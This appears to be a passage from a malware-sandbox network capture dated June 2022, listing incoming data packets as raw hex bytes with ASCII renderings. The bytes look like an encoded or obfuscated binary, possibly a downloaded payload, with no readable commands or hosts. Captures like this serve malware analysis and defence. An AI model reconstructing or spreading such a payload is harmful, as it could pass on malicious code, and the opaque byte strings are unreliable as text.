2022-06-26 07:42:48 UTC	2	IN	Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 b1 cc 1c 25 66 e5 da 00 ad cc 1c 25 66 e5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 a1 cc 1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91 cc 1c 25 66 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7d cc 1c 25 66 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00 6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da 00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5 Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f}%fy%fu%f%fq%fm%fi%f%f%f%fe%fa%f%f
2022-06-26 07:42:48 UTC	4	IN	Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49 29 64 2b dd 11 c0 1c 25 16 2b 50 b1 0e e5 64 e2 5e a1 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22 29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e e9 0d 66 b4 64 39 49 68 99 49 2d 68 a1 49 29 68 91 49 31 66 f5 66 ef 5c bc 25 15 da da 64 71 49 35 de 39 49 5c e7 da ea 25 25 5c 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39 06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 e2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35 4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66 20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 e5 50 2b 0e e5 64 de c6 ea 66 Data Ascii: %f+fe-u;!`P/%%%%f+fiI)d+%+Pd^I1%fiI-dfiI1iI-d")^=8:6f.{20^fd9IhI-hI)hI1ff\%dqI59I\%%\%dyI9fiI5dfiI9iI5d)\|%d6ffe-d+ffe1+d %f+iI5N+fiI5d+f %iI9fiI9d %f+ %N)%5%%f %+uf+uK`P+df
2022-06-26 07:42:48 UTC	5	IN	Data Raw: 0d f9 1b da da eb e0 e9 c0 1c 25 25 7c 49 0b 1c 25 75 0d c7 1b da da 0e e5 7e 49 0b 1c 25 7c 11 c0 1c 25 64 20 1d c6 f6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d 50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d 0b 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 c0 1c 25 64 20 21 5e 58 21 25 50 ba 0e e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d 0b 1c 25 50 e4 66 75 29 64 f0 3d 0b 1c 25 66 75 29 64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 f2 60 f7 54 Data Ascii: %%\|I%u~I%\|%d %%%%f fe-uf f%d % P%C!%9M%/\|%d !^X!%f !f%~%f !u\|%d !^X!%P44d5Ae%(%%/%%A%%448.^=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP`T
2022-06-26 07:42:48 UTC	6	IN	Data Raw: 29 66 e2 7e 45 0b 1c 25 66 22 29 7e 41 0b 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e e9 1d 66 fd 66 f9 68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 e9 0d 32 da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e e9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 e9 0d 4b da da da a9 e5 50 29 0e e5 c6 27 d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 0e a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 e8 49 0b 1c 25 66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e e9 19 66 fd 68 99 49 2d 9a 3d 0b 1c 25 98 41 0b 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d Data Ascii: )f~E%f")~A%^5:6he%.^ffh)^aI%f2P)'46.{^fffh{)fF^aI%fKP)'46he%,fd/`T^'%)%%ZfI%fq\d/^_%P-e)%%Pf'he%.{20^fhI-=%A%\|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
2022-06-26 07:42:48 UTC	8	IN	Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 c6 c0 66 20 21 36 66 c0 38 9e 66 e5 2e 7b 32 30 5e e9 19 66 ff 5e 9e e2 5e be 21 5e d6 31 58 e0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55 5c 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66 79 49 29 16 f0 45 0b 1c 25 50 51 04 08 45 0b 1c 25 dc 08 41 0b 1c 25 5e 18 41 0b 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0b 1c 25 04 08 41 0b 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69 49 2d de 8d 2d 66 69 49 2d 0d 2c d0 da da 5e d8 31 a1 fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69 49 29 5e e5 29 0d 67 1b da da c4 ea dc 25 25 66 03 c4 2d dc 25 25 66 d6 Data Ascii: e%(%%/%?7%%f !6f8f.{20^f^^!^1X1%%%^)d)If)IfU\!Zf)IdiI)P%%%%%ffyI)E%PQE%A%^A%1hJ%%E%A%f%%diI)fiI)%'P=fiI)diI-fiI--fiI-,^1f)IdiI)^'fiI)dMfiI)^)g%%f-%%f
2022-06-26 07:42:48 UTC	9	IN	Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba 0e c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50 65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b a5 5d 45 52 c3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69 49 35 0e c8 c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2 4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d 25 99 55 66 2b 75 0d 6c 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2 Data Ascii: +]GPf+GP^+'f+diI16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ERfiI)f%%fiI1d+fiI)f%diI5Vf+]GPuf+ud+If+udf+N9f+%fyI5)O+ f+f+=GPf+]%Uf+uld+If+u`d
2022-06-26 07:42:48 UTC	10	IN	Data Raw: 59 65 25 25 25 a0 53 e1 c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1 a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1 f3 f6 e7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d 9d 14 1a 5c 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5c 20 65 a1 4a 21 40 65 c3 90 95 06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 0b 5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 a1 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e b1 0a 8f 81 f4 21 4b f7 96 1e 9b be f1 17 04 0a a9 5c 4b 69 f7 2f b5 Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%\|se9e<,4weJ0e_Ej}e\e[j\|:esB)eG\ eJ!@exDe$e~9v;"nZ\|;7gF0hgUawgx,!K\Ki/
2022-06-26 07:42:48 UTC	12	IN	Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5c 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da 3c 15 9e b5 77 2c 2e a9 f7 a1 de da 75 19 0c f7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64 2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 e5 99 33 66 2d d7 5c 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25 9e 68 65 25 66 35 da 77 1d 9e 66 e5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 e5 a9 f7 5a dc 9e 75 77 66 35 da 77 0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f c8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25 99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e e9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f c8 33 da f0 39 05 1c 25 5e e9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc Data Ascii: {fW\#%N5uf%}df-<w,.uhqI5f?ddD-)e%d1d/64_%%fiIQfe1`3f-\u,!}%%%'%%he%f5wf.fff5wf6fZuwf5w}M%%%%39%M%%uuwy'%39%^-}he%y%39%^)}he%M%
2022-06-26 07:42:48 UTC	13	IN	Data Raw: 65 29 64 20 21 0e e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20 1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 0e e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da 0d 9d d8 da da 0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e e9 1d 2e 7b 32 9a 5d 0b 1c 25 66 22 2d 60 e5 99 79 66 55 0e b6 66 65 29 64 20 21 0e e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 99 de da 30 1d 16 ce 5a 0b 0e e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d 0c da da da 0d 2d d8 da da 0d 32 d8 da da 3a 83 36 34 34 38 9e 2c 7b 32 e3 5d 0b 1c 25 68 58 e9 94 e6 25 25 25 ce 80 6a e0 7d 0b 1c 25 6a e0 79 0b 1c 25 64 08 71 0b 1c 25 64 f8 75 0b 1c 25 7e 65 0b 1c 25 64 f0 6d 0b 1c 25 68 28 e9 Data Ascii: e)d !08ae%UdE`&d1f !fi)d ^X%0`Z44d59\|:64480f^.{2]%f"-`yfUfe)d !0ae%UdE?f !f)d d:1^X%0Z44d59-2:6448,{2]%hX%%%j}%jy%dq%du%~e%dm%h(
2022-06-26 07:42:48 UTC	14	IN	Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a9 23 da da c6 3a 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66 fd 60 b6 a1 ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49 29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d ee 29 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 77 64 07 94 dc 25 25 25 0d d6 23 da da 7f 9e b5 0c a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29 c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 99 33 8b 16 6f 2b 99 e0 5e e7 2d c6 09 5e e7 27 5e e7 27 Data Ascii: \|8)%.{20\)u^!fd9If`Zf#:h\%%XM{hiI-fqI)%%f`hyI)ffQfffW)%%{ffqI)fyf`X'ff)%%\)5%%8:6wd%%%#`w_/_o_o'_o^)gggd#he%`w/Eo'o)3o+^-^'^'
2022-06-26 07:42:48 UTC	16	IN	Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 e1 da da da 66 6f 21 ac c4 ea a9 8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2 25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 66 e5 60 a4 ea a9 31 da da da 75 2c 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 Data Ascii: %%%u^)sP6he%`fo!,wu0`L.{20\)u^!fd9If`Zf8h\%%XM{hiI-fqI)%%Af`hyI)ff%%%Offf%%{ffqI)ff`X'ffD%%\)5%%8:6f`1u,w`#Wd'`w/Eo'o)
2022-06-26 07:42:48 UTC	17	IN	Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29 0d 42 33 25 25 2a 5a ce c6 e8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da f0 3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb 0c e5 af 1c dc 68 a1 2d 2f 66 4a 21 0c e5 66 2a 1d 2c 66 2a 29 04 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 0c a5 d4 e6 99 18 a5 d4 31 99 24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 c6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd 0d 2c da da da dd 35 25 25 25 c6 36 0c a4 af 6f dc da 99 ec 27 Data Ascii: Z8W0ddS'dZ8Af^)B3%%Zf^)E%%Z:6^=%%=%5`.{20ddh-/fJ!f,f)df")ff7//1$03%%%%%%'8:6f9U^)%%%Xf9U)%%%h9U,5%%%6o'
2022-06-26 07:42:48 UTC	18	IN	Data Raw: 66 3d 60 b6 5a f6 60 b6 58 e2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 0e da 5e 58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 f7 99 e2 66 27 64 20 1d c6 e0 0e e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e 20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 66 ae ea 8a fb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66 20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66 20 0d 5e e5 2d 0e a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d Data Ascii: f=`Z`X)f !f0>%%^X%^H)f f]^H)f e f f'fu+`f'd d fd f t)7^ -^X%-f ^]Paf d ^X%f ^-fff0h f0f d >f -f >d dX8Xd8^X%Qf0f ^-ef uf0!f7f
2022-06-26 07:42:48 UTC	20	IN	Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba 23 da da 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d e6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 0e e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da da 75 0d 2c df da da 0e b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 60 ba 23 da da 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23 da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da Data Ascii: %%%h`#%%\h uh u%%h`#uf u`Gh uh u%%}e%f u`) % %44d522e%f u%%f !uh`#uh uZu,#%%%%X%P/X%%%%h`#uhp#d (f ]Sh`# Ph`# %%%
2022-06-26 07:42:48 UTC	21	IN	Data Raw: 5e e9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f 0e e5 64 20 15 c4 e4 dc 25 25 a2 20 15 da da da da 0e e5 0e 1b 5e 58 21 25 ea a9 84 25 25 25 c4 a7 25 25 25 66 30 19 0e a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e fd 25 25 25 5e bc 1a 1b 9c 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b e6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 68 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b 8b e6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39 Data Ascii: ^.{d(d0d !^X%P/d %% ^X!%%%%%%%f01WkP-^%%%^ESf09Wkf`%%%P-^%%%\%%%+ff09Wkf`h%%%\%%%+f(!d9f0!d1geP-N )f mf0!)g%%"P-Ngf09WkUP-NE9f09
2022-06-26 07:42:48 UTC	22	IN	Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d bd da da da 7c c1 e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c 25 da 99 f8 7c c1 e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31 25 25 25 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 0b 1c 25 7c c1 e5 1c 25 a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 da da da 7c c1 e5 1c 25 75 0d f7 23 da da 60 e5 99 dc 9e 7c 99 0b 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31 dc 50 4f 75 77 eb e0 89 0b 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f Data Ascii: \|%uh6f1%%%`~%\|%u8~%he%,1%%%`K^%\|%u[d)I^aI%f)Iu1f1%%%`^%\|%u#%\|%PKfQ%%%f)\|%u#`\|%u#`%%^X1POuw%f(-d%do
2022-06-26 07:42:48 UTC	24	IN	Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da 0e e5 30 8d 9f 42 65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b a1 55 6b 0e da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb 0e e5 7f 34 34 89 64 35 8d 5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 f7 da da c6 03 af 20 ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 0e f7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 c6 61 84 25 25 25 a5 99 2d 5c ef a5 25 25 25 c6 08 5e ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29 Data Ascii: d !f(f !f%5e%f 0Be%UdE %fPks`Ukf8!f ufug#`Pf -d] "^)sP44d5\Be%h f !f(f%5e% fXfPf8f8)%%%%)+\%'%%%%%E%%%e%%%^e^Ea%%%-\%%%^5f%%%e%%%^)
2022-06-26 07:42:48 UTC	25	IN	Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 c0 38 9e 30 66 11 0e e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 0b 1c 25 0e e5 7f 34 34 89 64 35 8d b9 91 65 25 9e c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 0b 1c 25 dc 9e 8d 0b 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d 0b 1c 25 17 da 25 25 8d 0b 1c 25 ce da 25 25 8d 0b 1c 25 19 da 25 25 8d 0b 1c 25 d0 da 25 25 8d 0b 1c 25 1b da 25 25 8d 0b 1c 25 d2 da 25 25 8d 0b 1c 25 1d da 25 25 8d 0b 1c 25 d4 da 25 25 8d 0b 1c 25 1f da 25 25 8d 0b 1c 25 d6 da 25 25 8d 0b 1c 25 21 da 25 25 8d 0b 1c 25 d8 da 25 25 8d 0b 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d 0b 1c 25 05 da 25 25 8d 0b 1c 25 bc da 25 25 8d 0b 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e%8f^%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!%%%%%%#%%%%%%%%%%%%%%%%%
2022-06-26 07:42:48 UTC	26	IN	Data Raw: 25 25 25 25 25 f1 4c 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3c 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97 4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65 25 35 25 25 25 05 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25 Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye%7 @< >@DJQe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% $ Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%5%%%Le%[e%[e%[e%[e%[e%YYe%uYe%Ye%/ iDgT@Je%%%%%%%
2022-06-26 07:42:48 UTC	28	IN	Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e 99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 1e 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3c 97 44 3c 93 99 20 97 97 4a 97 66 e5 49 9d 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: [e%[e%[e%[e%[e%YYe%uYe%Ye%3 .<>F*@JRRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% JJfRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D< 